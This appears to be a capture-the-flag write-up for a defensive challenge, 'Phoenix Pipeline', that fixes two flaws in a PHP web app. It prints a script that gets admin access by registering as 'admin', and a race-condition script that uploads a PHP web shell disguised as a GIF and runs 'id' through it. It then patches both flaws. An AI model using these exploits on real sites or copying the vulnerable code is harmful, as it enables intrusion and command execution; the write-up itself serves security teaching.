Post

Phoenix Pipeline

Phoenix Pipeline

Description

With the NecroNet defeated, the Citadel unveils the Phoenix Pipeline, rebirthing global services in a resilient web—ushering in a secure, enduring tomorrow.

Spawning the weirdly gives us 2 instance?

83.136.251.242:58140 83.136.251.242:49312

The first instance is the editor.

There are two exploits it seems like:

Exploit 1: Session Puzzling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from requests import post, get

BASE_URL = 'http://localhost:1337/challenge'

def register_user(username, password):

    data = {
        'username': username,
        'password': password,
        'area': 'Aetheria'
    }
    
    response = post(f'{BASE_URL}/register', data=data, allow_redirects=False)
    return response.cookies


def get_admin_page(cookie):

    response = get(f'{BASE_URL}/admin', cookies=cookie)
    return response.text


if __name__ == '__main__':

    username = 'admin'
    password = 'admin'

    cookie = register_user(username, password)

    if cookie is None:
        print('Exploit failed')
        exit()

    admin_response = get_admin_page(cookie)

    if 'ADMIN CONTROL' in admin_response:
        print('Get admin access. Cookie: ', cookie['PHPSESSID'])

The first exploit looks very simple. Register as admin:admin. The server will return a session cookie. You have admin access!

Let’s look at the code and understand why this works.

AuthController.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require_once __DIR__ . '/../Models/Database.php';

class AuthController {
    public static function showLogin() {
        require __DIR__ . '/../Views/login.php';
    }
    public static function showRegister() {
        require __DIR__ . '/../Views/register.php';
    }
    public static function login() {
        $db = Database::getInstance()->getConnection();
        $username = $_POST['username'] ?? '';
        $password = $_POST['password'] ?? '';
        $stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
        $stmt->execute([$username]);
        $user = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($user && password_verify($password, $user['password'])) {
            $_SESSION['username'] = $user['username'];
            $_SESSION['area'] = $user['area'];
            header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
            exit;
        }
        $error = 'Invalid credentials';
        require __DIR__ . '/../Views/login.php';
    }
    public static function logout() {
        session_unset();
        session_destroy();
        header('Location: /challenge/login');
        exit;
    }
    public static function register() {
        $db = Database::getInstance()->getConnection();
        $username = $_POST['username'] ?? '';
        $password = $_POST['password'] ?? '';
        $area = $_POST['area'] ?? '';
        
        // Set the session so user can login immediately after registration
        $_SESSION['username'] = $username;
        $_SESSION['area'] = $area;
        
        $stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
        $stmt->execute([$username]);
        if ($stmt->fetch()) {
            header('Location: /challenge/username-exists');
            exit;
        }
        
        $hash = password_hash($password, PASSWORD_DEFAULT);
        $stmt = $db->prepare('INSERT INTO users (username, password, role, area) VALUES (?, ?, ?, ?)');
        $stmt->execute([$username, $hash, 'operator', $area]);
        header('Location: /challenge/operator');
        exit;
    }
    public static function usernameExists() {
        unset($_SESSION['username'], $_SESSION['area']);
        require __DIR__ . '/../Views/username_exists.php';
    }
} 

What immediately catches my attention is the part:

1
2
3
4
5
6
        if ($user && password_verify($password, $user['password'])) {
            $_SESSION['username'] = $user['username'];
            $_SESSION['area'] = $user['area'];
            header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
            exit;
        }

and the line:

header('Location: ' . ($user['username'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));

It just means if the username is admin, it will redirect to /challenge/admin. So admin access is tied to the username, not the role.

Since the exploit depends on checking for the cookie, we won’t assign the cookie immediately. Also, we won’t allow for a user to login as admin purely based on their username. Let’s implement a check for the role.

Modifications

We will modify the bits of code in both Login() and Register() methods.

Login:

1
2
3
4
5
6
7
        if ($user && password_verify($password, $user['password'])) {
            $_SESSION['username'] = $user['username'];
            $_SESSION['area'] = $user['area'];
            $_SESSION['role'] = $user['role'];
            header('Location: ' . ($user['role'] === 'admin' ? '/challenge/admin' : '/challenge/operator'));
            exit;
        }

Register:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    public static function register() {
        $db = Database::getInstance()->getConnection();
        $username = $_POST['username'] ?? '';
        $password = $_POST['password'] ?? '';
        $area = $_POST['area'] ?? '';
        
        
        $stmt = $db->prepare('SELECT * FROM users WHERE username = ?');
        $stmt->execute([$username]);
        if ($stmt->fetch()) {
            header('Location: /challenge/username-exists');
            exit;
        }
        
        $hash = password_hash($password, PASSWORD_DEFAULT);
        $stmt = $db->prepare('INSERT INTO users (username, password, role, area) VALUES (?, ?, ?, ?)');
        $stmt->execute([$username, $hash, 'operator', $area]);

        $_SESSION['username'] = $username;
        $_SESSION['area'] = $area;

        header('Location: /challenge/operator');
        exit;
    }

To summarize: Login() will check admin privileges based on the role, not the username. Register() will set the session variables after the user is created.

Exploit 2: File Upload

This is an authenticate file upload vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
def upload_file(cookie):

    data = {
        'infra_id': INFRA_ID,
        'description': DESCRIPTION
    }
    
    file_data = io.BytesIO(SHELL_PAYLOAD)
    files = {
        FIELD_NAME: (FILENAME, file_data, 'image/gif')
    }
    
    try:
        response = requests.post(
            UPLOAD_URL, 
            data=data, 
            files=files, 
            timeout=UPLOAD_TIMEOUT,
            cookies=cookie
        )
        return response.status_code == 200

    except Exception as e:
        return False

def hit_shell(cookie):

    try:
        if success_flag.value:
            return
            
        try:
            response = requests.get(TARGET, timeout=SHELL_TIMEOUT, cookies=cookie)
            date = response.headers.get('Date')

            date_obj = datetime.strptime(date, '%a, %d %b %Y %H:%M:%S GMT')
            formatted_date = date_obj.strftime('%Y_%m_%d')
        except Exception as e:
            formatted_date = datetime.now().strftime('%Y_%m_%d')
        
        # Calculate filename hash
        md5_hash = md5(FILENAME.encode()).hexdigest()
        shell_url = f'{TARGET}/uploads/temp_{md5_hash}_{formatted_date}.php?cmd=id'
        
        response = requests.get(shell_url, timeout=SHELL_TIMEOUT, cookies=cookie)
        if (response.status_code == 200 and 
            "<?php" not in response.text and 
            len(response.text.strip()) > 0):
            
            # Set success flag to prevent other processes from reporting
            with success_flag.get_lock():
                if not success_flag.value:
                    success_flag.value = True
                    print(f"\n[🎯] SUCCESS! Shell found at {shell_url}")
                    print(f"[📟] {response.text.strip()}")
                    # Kill all processes
                    os.kill(0, 9)  # Kill process group
    except requests.RequestException as e:
        print(f"[❌] Shell check failed: {e}")
    except Exception as e:
        print(f"[❌] Unexpected shell error: {e}")

def race_once(cookie):
    upload_thread = threading.Thread(target=upload_file, args=(cookie,))
    check_thread = threading.Thread(target=hit_shell, args=(cookie,))
    
    upload_thread.start()
    check_thread.start()
    
    upload_thread.join()
    check_thread.join()

def race_loop_child(attempts, cookie):
    for i in range(attempts):
        if success_flag.value:
            break
        print(f"[{os.getpid()}] Attempt #{i+1}")
        race_once(cookie)

This is a race condition exploit. It works by:

  • Uploads shell.php disguised as an image (image/gif MIME type)
  • Immediately tries to access the uploaded file before it gets deleted

The exploit predicts the temporary filename using:

  • MD5 hash of the original filename
  • Current date from server headers
  • Pattern: temp_{hash}_{date}.php

OperatorController.php

The affected function is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
public static function submitReport() {
        if (!isset($_SESSION['username']) || $_SESSION['username'] === 'admin') {
            header('Location: /challenge/login'); exit;
        }
        
        $db = Database::getInstance()->getConnection();
        $user_id = self::getUserId($_SESSION['username']);
        $infra_id = $_POST['infra_id'] ?? '';
        $description = $_POST['description'] ?? '';
        $area = $_SESSION['area'];
        
        $showFormWithError = function($errorMessage) use ($db, $area) {
            $error = $errorMessage;
            $stmt = $db->prepare('SELECT * FROM infrastructure WHERE area = ? ORDER BY name');
            $stmt->execute([$area]);
            $infra = $stmt->fetchAll(PDO::FETCH_ASSOC);
            require __DIR__ . '/../Views/report_form.php';
        };
        
        if (empty($infra_id) || empty($description)) {
            $showFormWithError('All fields are required.');
            return;
        }
        
        $stmt = $db->prepare('SELECT id FROM infrastructure WHERE id = ? AND area = ?');
        $stmt->execute([$infra_id, $area]);
        if (!$stmt->fetch()) {
            $showFormWithError('Invalid infrastructure selected.');
            return;
        }
        
        if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {
            $showFormWithError('Photo documentation is required.');
            return;
        }
        
        $maxFileSize = 10 * 1024 * 1024; // 10MB in bytes
        if ($_FILES['photo']['size'] > $maxFileSize) {
            $showFormWithError('File size too large. Maximum allowed size is 10MB.');
            return;
        }
        
        $original = $_FILES['photo']['name'];
        $ext = strtolower(pathinfo($original, PATHINFO_EXTENSION));
        $tmp_name = $_FILES['photo']['tmp_name'];
        $date = date('Y_m_d');
        $rand = md5($original);
        $tempfile = __DIR__ . '/../uploads/temp_' . $rand . '_' . $date . '.' . $ext;
        
        if (!move_uploaded_file($tmp_name, $tempfile)) {
            $showFormWithError('Failed to upload file. Please try again.');
            return;
        }
       
        
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $tempfile);
        finfo_close($finfo);
        
        if (strpos($mime, 'image/') !== 0) {
            unlink($tempfile); 
            $showFormWithError('Invalid file type. Only image files are allowed.');
            return;
        }

        $allowed = ['jpg','jpeg','png','gif','bmp','webp'];
        if (!in_array($ext, $allowed)) {
            unlink($tempfile);  
            $showFormWithError('Invalid file extension. Only image files (JPG, PNG, GIF, BMP, WEBP) are allowed.');
            return;
        }
        
        $infra_name = self::getInfraName($infra_id);
        $final = __DIR__ . '/../uploads/documentation_' . $area . '_' . preg_replace('/\W/','',$infra_name) . "_" . $rand . '_' . $date . '.' . $ext;
        
        if (!move_uploaded_file($tempfile, $final)) {
            unlink($tempfile); 
            $showFormWithError('Failed to save file. Please try again.');
            return;
        }
        
        $photo_path = basename($final);
        
        try {
            $stmt = $db->prepare('INSERT INTO reports (user_id, infra_id, area, description, photo_path) VALUES (?, ?, ?, ?, ?)');
            $stmt->execute([$user_id, $infra_id, $area, $description, $photo_path]);
            header('Location: /challenge/reports');
            exit;
        } catch (Exception $e) {
            unlink($final);
            $showFormWithError('Failed to save report. Please try again.');
            return;
        }
    }

From the affected function, we can confirm that:

  • The file uploaded is named using a random MD5 hash of the original filename and the current date.
  • The race window(where the race condition exists): Between the move_uploaded_file() and the validation checks, there’s a window where:
    • The malicious PHP file exists at a predictable location
    • The web server can execute it if accessed
    • No validation has happened yet

How to fix it?

  1. Validate the file type before moving it anywhere.
  2. Check if the file is actually an image after moving it to a temporary location.
  3. Store uploads in a secure location outside the web root during processing. (Optional)
  4. Move the file to its final location only after all validations are complete.

Modifications

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
public static function submitReport() {
    if (!isset($_SESSION['username']) || $_SESSION['username'] === 'admin') {
        header('Location: /challenge/login'); exit;
    }
    
    $db = Database::getInstance()->getConnection();
    $user_id = self::getUserId($_SESSION['username']);
    $infra_id = $_POST['infra_id'] ?? '';
    $description = $_POST['description'] ?? '';
    $area = $_SESSION['area'];
    
    $showFormWithError = function($errorMessage) use ($db, $area) {
        $error = $errorMessage;
        $stmt = $db->prepare('SELECT * FROM infrastructure WHERE area = ? ORDER BY name');
        $stmt->execute([$area]);
        $infra = $stmt->fetchAll(PDO::FETCH_ASSOC);
        require __DIR__ . '/../Views/report_form.php';
    };
    
    if (empty($infra_id) || empty($description)) {
        $showFormWithError('All fields are required.');
        return;
    }
    
    $stmt = $db->prepare('SELECT id FROM infrastructure WHERE id = ? AND area = ?');
    $stmt->execute([$infra_id, $area]);
    if (!$stmt->fetch()) {
        $showFormWithError('Invalid infrastructure selected.');
        return;
    }
    
    if (!isset($_FILES['photo']) || $_FILES['photo']['error'] !== UPLOAD_ERR_OK) {
        $showFormWithError('Photo documentation is required.');
        return;
    }
    
    $maxFileSize = 10 * 1024 * 1024; // 10MB in bytes
    if ($_FILES['photo']['size'] > $maxFileSize) {
        $showFormWithError('File size too large. Maximum allowed size is 10MB.');
        return;
    }
    
    $original = $_FILES['photo']['name'];
    $ext = strtolower(pathinfo($original, PATHINFO_EXTENSION));
    $tmp_name = $_FILES['photo']['tmp_name'];
    
    $allowed = ['jpg','jpeg','png','gif','bmp','webp'];
    if (!in_array($ext, $allowed)) {
        $showFormWithError('Invalid file extension. Only image files (JPG, PNG, GIF, BMP, WEBP) are allowed.');
        return;
    }
    
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $tmp_name);
    finfo_close($finfo);
    
    if (strpos($mime, 'image/') !== 0) {
        $showFormWithError('Invalid file type. Only image files are allowed.');
        return;
    }
    
    $date = date('Y_m_d');
    $rand = md5($original);
    
    $tempfile = __DIR__ . '/../uploads/temp_' . $rand . '_' . $date . '.' . $ext;
    
    if (!move_uploaded_file($tmp_name, $tempfile)) {
        $showFormWithError('Failed to upload file. Please try again.');
        return;
    }
    
    $imageinfo = getimagesize($tempfile);
    if ($imageinfo === false) {
        unlink($tempfile);
        $showFormWithError('Invalid image file. File appears to be corrupted or not a valid image.');
        return;
    }
    
    $infra_name = self::getInfraName($infra_id);
    $final = __DIR__ . '/../uploads/documentation_' . $area . '_' . preg_replace('/\W/','',$infra_name) . "_" . $rand . '_' . $date . '.' . $ext;
    
    if (!rename($tempfile, $final)) {
        unlink($tempfile);
        $showFormWithError('Failed to save file. Please try again.');
        return;
    }
    
    $photo_path = basename($final);
    
    try {
        $stmt = $db->prepare('INSERT INTO reports (user_id, infra_id, area, description, photo_path) VALUES (?, ?, ?, ?, ?)');
        $stmt->execute([$user_id, $infra_id, $area, $description, $photo_path]);
        header('Location: /challenge/reports');
        exit;
    } catch (Exception $e) {
        unlink($final);
        $showFormWithError('Failed to save report. Please try again.');
        return;
    }
}

This post is licensed under CC BY 4.0 by the author.